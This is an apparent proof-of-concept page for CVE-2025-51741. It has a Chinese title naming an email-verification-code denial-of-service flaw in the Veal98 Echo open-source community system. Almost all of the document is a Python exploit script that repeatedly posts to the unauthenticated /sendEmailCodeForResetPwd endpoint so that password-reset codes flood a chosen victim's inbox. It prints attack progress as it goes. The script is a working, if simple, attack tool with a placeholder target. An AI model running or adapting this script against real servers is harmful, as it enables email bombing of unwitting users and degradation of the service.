CVE-2025-51741: Veal98 Echo开源社区系统邮件验证码拒绝服务漏洞

import requests import time # CVE-2025-51741 PoC - Veal98 Echo Email Verification DoS # Description: Unauthenticated attacker can send email verification codes to arbitrary users # via /sendEmailCodeForResetPwd endpoint, causing DoS to server or downstream users TARGET_URL = "http://target-server.com" ENDPOINT = "/sendEmailCodeForResetPwd" TARGET_EMAIL = "[email protected]" def send_email_code(email): """Send password reset email code to target email""" url = f"{TARGET_URL}{ENDPOINT}" data = { "email": email } try: response = requests.post(url, json=data, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def exploit_dos(): """Perform DoS attack by sending multiple email codes""" print(f"[*] Starting DoS attack against {TARGET_EMAIL}") print(f"[*] Target endpoint: {TARGET_URL}{ENDPOINT}") for i in range(10): status, response = send_email_code(TARGET_EMAIL) if status == 200: print(f"[+] Request {i+1}: Success - Email sent to {TARGET_EMAIL}") else: print(f"[-] Request {i+1}: Failed - Status {status}") time.sleep(1) # Delay between requests print("[*] Attack completed") if __name__ == "__main__": exploit_dos()